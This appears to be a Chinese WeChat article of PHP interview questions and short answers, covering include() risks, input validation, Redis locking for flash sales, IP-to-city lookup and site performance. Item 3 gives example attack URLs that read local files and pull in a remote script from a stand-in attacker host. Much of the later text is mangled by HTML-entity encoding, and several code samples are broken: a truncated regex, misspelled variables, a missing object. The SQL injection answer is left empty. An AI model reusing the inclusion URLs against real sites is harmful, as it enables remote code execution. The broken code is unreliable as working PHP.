点击上方“码农编程进阶笔记”,选择“关注公众号”
技术文章第一时间送达!
1.php7新特性
2.php7卓越性能背后的优化
3.include($_GET['p'])的安全隐患
现在任一个黑客现在都可以用:http://www.yourdomain.com/index.php?p=anyfile.txt
来获取你的机密信息,或执行一个PHP脚本。如果allow_url_fopen=On,你更是死定了:试试这个输入:http://www.yourdomain.com/index.php?p=http://youaredoomed.com/phphack.php
现在你的网页中包含了http://www.youaredoomed.com/phphack.php
的输出. 黑客可以发送垃圾邮件,改变密码,删除文件等等。只要你能想得到。
4.列出一些防范SQL注入、XSS攻击、CSRF攻击的方法
SQL注入:
5.接口如何安全访问
jwt或验证签名
6.PHP里有哪些设计模式
7.验证ip是否正确
function check_ip($ip)
{if (!filter_var($ip, FILTER_VALIDATE_IP)) {return false;} else {return true;}
}
8.验证日期是否合理
function check_datetime($datetime)
{if (date('Y-m-d H:i:s', strtotime($datetime)) === $datetime) {return true;} else {return false;}
}
9.写一个正则表达式,过滤JS脚本(及把script标记及其内容都去掉)
$text = '';
$pattern &#61; &#39;.*<\/script>/i&#39;;
$text &#61; preg_replace($pattern, &#39;&#39;, $text);
10.下单后30分钟未支付取消订单
第一种方案&#xff1a;被动过期&#43;cron&#xff0c;就是用户查看的时候去数据库查有没有支付&#43;定时清理。第二种方案&#xff1a;延迟性任务&#xff0c;到时间检查订单是否支付成功&#xff0c;如果没有支付则取消订单
11.设计一个秒杀系统
思路&#xff1a;用redis的队列
$ttl &#61; 4;
$random &#61; mt_rand(1,1000).&#39;-&#39;.gettimeofday(true).&#39;-&#39;.mt_rand(1,1000);$lock &#61; fasle;
while (!$lock) {$lock &#61; $redis->set(&#39;lock&#39;, $random, array(&#39;nx&#39;, &#39;ex&#39; &#61;> $ttl));
}if ($redis->get(&#39;goods.num&#39;) <&#61; 0) {echo ("秒杀已经结束");//删除锁if ($redis->get(&#39;lock&#39;) &#61;&#61; $random) {$redis->del(&#39;lock&#39;);}return false;
}$redis->decr(&#39;goods.num&#39;);
echo ("秒杀成功");
//删除锁
if ($redis->get(&#39;lock&#39;) &#61;&#61; $random) {$redis->del(&#39;lock&#39;);
}
return true;
12.请设计一个实现方式&#xff0c;可以给某个ip找到对应的省和市&#xff0c;要求效率竟可能的高
//ip2long&#xff0c;把所有城市的最小和最大Ip录进去
$redis_key &#61; &#39;ip&#39;;
$redis->zAdd($redis_key, 20, &#39;#bj&#39;);//北京的最小IP加#
$resid->zAdd($redis_key, 30, &#39;bj&#39;);//最大IPfunction get_ip_city($ip_address)
{$ip &#61; ip2long($ip_address);$redis_key &#61; &#39;ip&#39;;$city &#61; zRangeByScore($redis_key, $ip, &#39;&#43;inf&#39;, array(&#39;limit&#39; &#61;> array(0, 1)));if ($city) {if (strpos($city[0], "#") &#61;&#61;&#61; 0) {echo &#39;城市不存在!&#39;;} else {echo &#39;城市是&#39; . $city[0];}} else {echo &#39;城市不存在!&#39;;}
}
13.网页/应用访问慢突然变慢&#xff0c;如何定位问题
top、iostat查看cpu、内存及io占用情况
内核、程序参数设置不合理 查看有没有报内核错误&#xff0c;连接数用户打开文件数这些有没有达到上限等等
链路本身慢 是否跨运营商、用户上下行带宽不够、dns解析慢、服务器内网广播风暴什么的
程序设计不合理 是否程序本身算法设计太差&#xff0c;数据库语句太过复杂或者刚上线了什么功能引起的
其它关联的程序引起的 如果要访问数据库&#xff0c;检查一下是否数据库访问慢
是否被攻击了 查看服务器是否被DDos了等等
硬件故障 这个一般直接服务器就挂了&#xff0c;而不是访问慢
14.如何设计/优化一个访问量比较大的博客/论坛
减少http请求&#xff08;比如使用雪碧图&#xff09;
优化数据库&#xff08;范式、SQL语句、索引、配置、读写分离&#xff09;
缓存使用&#xff08;Memcache、Redis&#xff09;
负载均衡
动态内容静态化&#43;CDN
禁止外部盗链&#xff08;refer、图片添加水印&#xff09;
控制大文件下载
使用集群
15.如何搭建Composer私有库
使用satis搭建
相关文章介绍&#xff1a;使用satis搭建Composer私有库
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
相关教程&#xff1a;PHP开发高可用高安全App
获取方式&#xff1a;关注公众号回复“ PHP开发App ”关键字&#xff0c;即可免费获得